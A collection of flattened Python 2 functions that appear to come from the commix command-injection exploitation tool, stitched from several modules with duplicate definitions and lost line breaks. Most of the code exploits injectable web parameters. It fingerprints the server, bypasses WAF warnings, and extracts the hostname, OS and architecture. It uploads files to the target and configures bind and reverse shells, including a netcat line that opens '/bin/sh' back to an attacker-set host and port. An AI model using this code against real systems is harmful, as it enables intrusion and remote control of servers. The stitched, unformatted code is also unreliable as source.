def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) if match: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) settings.SERVER_BANNER = match.group(0) found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" break else: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "The server which was identified as '" warn_msg += server_banner + "' seems unknown." print settings.print_warning_msg(warn_msg)
def is_empty(multi_parameters, http_request_method): provided_value = [] multi_params = [s for s in multi_parameters] for empty in multi_params: try: if settings.IS_JSON: if re.findall(r'\:\"(.*)\"', empty)[0] == "": provided_value.append(re.findall(r'\"(.*)\"\:\"', empty)[0]) elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == " ": provided_value.append(re.findall(r'</(.*)>', empty)[0]) elif len(empty.split("=")[1]) == 0: provided_value.append(empty.split("=")[0]) except IndexError: if not settings.IS_XML: err_msg = "No parameter(s) found for testing in the provided data." print settings.print_critical_msg(err_msg) raise SystemExit() provided_value = ", ".join(provided_value) if len(provided_value) > 0: if menu.options.skip_empty and len(multi_parameters) > 1: skip_empty(provided_value, http_request_method) else: warn_msg = "The provided value"+ "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += " for "+ http_request_method + " parameter" + "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += " '" + provided_value + "'" warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty. " warn_msg += "Use valid " warn_msg += "values to run properly." print settings.print_warning_msg(warn_msg) return True
def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): if os_shell_option == False: if no_result == True: return False else: return True # The "back" option elif os_shell_option == "back": go_back = True return go_back, go_back_again # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are already into the '" + os_shell_option + "' mode." print settings.print_warning_msg(warn_msg)+ "\n" # The "bind_tcp" option elif os_shell_option == "bind_tcp": go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again # The "quit" option elif os_shell_option == "quit": raise SystemExit()
def check_for_update(): try: response = urllib2.urlopen('https://raw.githubusercontent.com/stasinopoulos/commix/master/src/utils/settings.py') version_check = response.readlines() for line in version_check: line = line.rstrip() if "VERSION = " in line: update_version = line.replace("VERSION = ", "").replace("\"", "") break if float(settings.VERSION.replace(".","")) < float(update_version.replace(".","")): warn_msg = "Current version seems to be out-of-date." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to update to the latest version now? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() if do_update in settings.CHOICE_YES: updater() os._exit(0) elif do_update in settings.CHOICE_NO: break else: if do_update == "": do_update = "enter" err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "" pass # eof
def continue_tests(err): # If defined "--ignore-401" option, ignores HTTP Error 401 (Unauthorized) # and continues tests without providing valid credentials. if menu.options.ignore_401: settings.WAF_ENABLED = True return True # Possible WAF/IPS/IDS if (str(err.code) == "403" or "406") and \ not menu.options.skip_waf: # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." print settings.print_warning_msg(warn_msg) try: while True: question_msg = "Do you want to ignore the error (" + str(err.code) question_msg += ") message and continue the tests? [Y/n/q] > " continue_tests = raw_input(settings.print_question_msg(question_msg)).lower() if continue_tests in settings.CHOICE_YES: return True elif continue_tests in settings.CHOICE_NO: return False elif continue_tests in settings.CHOICE_QUIT: return False else: if continue_tests == "": continue_tests = "enter" err_msg = "'" + continue_tests + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass except KeyboardInterrupt: print "\n" + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL raise SystemExit()
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") #Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. ps_version = cb_injector.injection_results(response, TAG, cmd) ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True if settings.VERBOSITY_LEVEL >= 1: print "" # Output PowerShell's version number success_msg = "The PowerShell's version number is " success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify PowerShell's version, " warn_msg += "which means that some payloads or injection techniques may be failed." print settings.print_warning_msg(warn_msg) settings.PS_ENABLED = False checks.ps_check_failed()
def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL >= 1: print "" warn_msg = "The payloads in some options that you " warn_msg += "have chosen, are requiring the use of PowerShell. " print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to use the \"--ps-version\" option " question_msg += "so ensure that PowerShell is enabled? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) ps_check = sys.stdin.readline().replace("\n","").lower() if ps_check in settings.CHOICE_YES: menu.options.ps_version = True break elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: print "" os._exit(0) else: if ps_check == "": ps_check = "enter" err_msg = "'" + ps_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output if shell: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def warning_detection(url, http_request_method): try: # Find the host part url_part = url.split("=")[0] request = urllib2.Request(url_part) # Check if defined extra headers. headers.do_check(request) response = requests.get_request_response(request) if response: response = urllib2.urlopen(request) html_data = response.read() err_msg = "" if "eval()'d code" in html_data: err_msg = "'eval()'" if "Cannot execute a blank command in" in html_data: err_msg = "execution of a blank command," if "sh: command substitution:" in html_data: err_msg = "command substitution" if "Warning: usort()" in html_data: err_msg = "'usort()'" if re.findall(r"=/(.*)/&", url): if "Warning: preg_replace():" in html_data: err_msg = "'preg_replace()'" url = url.replace("/&","/e&") if "Warning: assert():" in html_data: err_msg = "'assert()'" if "Failure evaluating code:" in html_data: err_msg = "code evaluation" if err_msg != "": warn_msg = "A failure message on " + err_msg + " was detected on page's response." print settings.print_warning_msg(warn_msg) return url except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) success_msg = "The hostname is " + shell sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print settings.print_warning_msg(warn_msg)
def exploitation(url, delay, filename, http_request_method, url_time_response): if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." print settings.print_warning_msg(warn_msg) go_back = False while True: if go_back == True: return False question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = raw_input(settings.print_question_msg(question_msg)).lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) elif proceed_option.lower() == "c": if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass else: if tb_injection_handler(url, delay, filename, http_request_method, url_time_response) == False: return False
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: # if settings.VERBOSITY_LEVEL >= 1: # print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def application_identification(server_banner, url): found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg)
def injection_proccess(url, check_parameter, http_request_method, filename, delay): # User-Agent Injection / Referer Injection / Custom header Injection if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header " else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter " check_parameter = " '" + check_parameter + "'" # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: info_msg = "Setting the " + "(" + http_request_method info_msg += ")" + check_parameter + header_name + the_type + "for tests." print settings.print_info_msg(info_msg) # Estimating the response time (in seconds) delay, url_time_response = requests.estimate_response_time(url, http_request_method, delay) # Check if it is vulnerable to classic command injection technique. if not menu.options.tech or "c" in menu.options.tech: if cb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.CLASSIC_STATE = True else: settings.CLASSIC_STATE = False # Check if it is vulnerable to eval-based code injection technique. if not menu.options.tech or "e" in menu.options.tech: if eb_handler.exploitation(url, delay, filename, http_request_method) != False: settings.EVAL_BASED_STATE = True else: settings.EVAL_BASED_STATE = False # Check if it is vulnerable to time-based blind command injection technique. if not menu.options.tech or "t" in menu.options.tech: if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.TIME_BASED_STATE = True else: settings.TIME_BASED_STATE = False # Check if it is vulnerable to file-based semiblind command injection technique. if not menu.options.tech or "f" in menu.options.tech: if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : warn_msg = "The tested (" + http_request_method + ")" warn_msg += check_parameter + header_name + the_type warn_msg += "seems to be not injectable." print settings.print_warning_msg(warn_msg)
def check_whitespaces(): if settings.WHITESPACE[0] != "%20" and settings.WHITESPACE[0] != urllib.unquote("%20"): warn_msg = "Whitespaces are important for time-relative techniques, " warn_msg += "thus whitespace characters had been reset to default." print settings.print_warning_msg(warn_msg) if settings.WHITESPACE[0] != urllib.unquote("%20"): whitespace = " " return whitespace
def load_cmd_history(): try: cli_history = os.path.expanduser(settings.CLI_HISTORY) if os.path.exists(cli_history): readline.read_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." print settings.print_warning_msg(warn_msg)
def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: option = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if option.lower() == "reverse_tcp": warn_msg = "You are already into the '" + option.lower() + "' mode." print settings.print_warning_msg(warn_msg) continue if option.lower() == "?": menu.reverse_tcp_options() continue if option.lower() == "quit": raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: break else: continue elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." print settings.print_error_msg(err_msg) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: break else: continue elif option[4:12].lower() == "srvport ": check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": check_uripath(option[12:]) else: err_msg = "The '" + option + "' option, is not valid." print settings.print_error_msg(err_msg) pass else: err_msg = "The '" + option + "' option, is not valid." print settings.print_error_msg(err_msg) pass # eof
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" if target_os: if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("") check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def no_readline_module(): warn_msg = "It seems that your platform does " warn_msg += "not have GNU 'readline' module installed." warn_msg += " For tab-completion support in your shell, download the" if settings.IS_WINDOWS: warn_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline).\n" else: warn_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline).\n" print settings.print_warning_msg(warn_msg)
def skip_empty(provided_value, http_request_method): warn_msg = "The " + http_request_method + " " warn_msg += "parameter" + "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += " '" + provided_value + "'" warn_msg += (' have ', ' has ')[len(provided_value.split(",")) == 1] warn_msg += "been skipped from testing" warn_msg += " (the provided value" + "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty). " print settings.print_warning_msg(warn_msg)
def create_github_issue(err_msg, exc_msg): key = hashlib.md5(exc_msg).hexdigest()[:8] while True: try: if not menu.options.batch: question_msg = "Do you want to automatically create a new (anonymized) issue " question_msg += "with the unhandled exception information at " question_msg += "the official Github repository? [y/N] " sys.stdout.write(settings.print_question_msg(question_msg)) choise = sys.stdin.readline().replace("\n","").lower() else: choise = "" if len(choise) == 0: choise = "n" if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: print "" return else: err_msg = "'" + choise + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except: print "\n" raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] req = urllib2.Request(url="https://api.github.com/search/issues?q=" + \ urllib.quote("repo:commixproject/commix" + " " + "Unhandled exception (#" + str(key) + ")") ) try: content = urllib2.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print settings.print_warning_msg(warn_msg) return except: pass data = {"title": "Unhandled exception (#" + str(key) + ")", "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} req = urllib2.Request(url="https://api.github.com/repos/commixproject/commix/issues", data=json.dumps(data), headers={"Authorization": "token " + str(settings.GITHUB_REPORT_OAUTH_TOKEN.decode("base64"))}) try: content = urllib2.urlopen(req).read() except Exception, err: content = None
def do_cookie_check(cookie): multi_parameters = cookie.split(settings.COOKIE_DELIMITER) # Check if single paramerter is supplied. if len(multi_parameters) == 1: # Check if defined the INJECT_TAG if settings.INJECT_TAG not in cookie: #Grab the value of parameter. value = re.findall(r'=(.*)', cookie) value = ''.join(value) # Replace the value of parameter with INJECT tag inject_value = value.replace(value, settings.INJECT_TAG) cookie = cookie.replace(value, inject_value) return cookie # Check if multiple paramerters are supplied. else: cookies_list = [] all_params = settings.COOKIE_DELIMITER.join(multi_parameters) all_params = all_params.split(settings.COOKIE_DELIMITER) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: for param in range(0, len(all_params)): if param == 0 : old = re.findall(r'=(.*)', all_params[param]) old = ''.join(old) else : old = value # Grab the value of cookie. value = re.findall(r'=(.*)', all_params[param]) value = ''.join(value) if not value == "": # Replace the value of cookie with INJECT tag inject_value = value.replace(value, settings.INJECT_TAG) all_params[param] = all_params[param].replace(value, inject_value) all_params[param-1] = all_params[param-1].replace(inject_value, old) cookie = settings.COOKIE_DELIMITER.join(all_params) cookies_list.append(cookie) cookie = cookies_list else: provided_value = re.findall(r'(.*)=', all_params[param]) provided_value = ''.join(provided_value) warn_msg = "The '" + provided_value warn_msg += "' parameter has been skipped from testing because the provided value is empty." print settings.print_warning_msg(warn_msg) else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) cookie = settings.COOKIE_DELIMITER.join(multi_parameters) return cookie
def sitemap(url): try: href_list = [] if not url.endswith(".xml"): url = urlparse.urljoin(url, "/sitemap.xml") soup = request(url) for match in soup.findAll("loc"): href_list.append(match.text) except: warn_msg = "The 'sitemap.xml' not found." print settings.print_warning_msg(warn_msg) return href_list
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print "" check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass # if settings.VERBOSITY_LEVEL >= 1: # print "" if shell: success_msg = "The '" + Style.UNDERLINE + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def netcat_version(): # Netcat alternatives NETCAT_ALTERNATIVES = [ "/bin/nc", "/bin/busybox nc", "/bin/nc.traditional" ] while True: nc_version = raw_input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break elif nc_version.lower() == "reverse_tcp": warn_msg = "You are already into the 'reverse_tcp' mode." print settings.print_warning_msg(warn_msg) continue elif nc_version.lower() == "?": menu.shell_options() continue elif nc_version.lower() in settings.SHELL_OPTIONS: return nc_version elif nc_version[0:3].lower() == "set": if nc_version[4:9].lower() == "lhost": check_lhost(nc_version[10:]) if nc_version[4:9].lower() == "lport": check_lport(nc_version[10:]) else: err_msg = "The '" + nc_version + "' option, is not valid." print settings.print_error_msg(err_msg) continue cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" return cmd
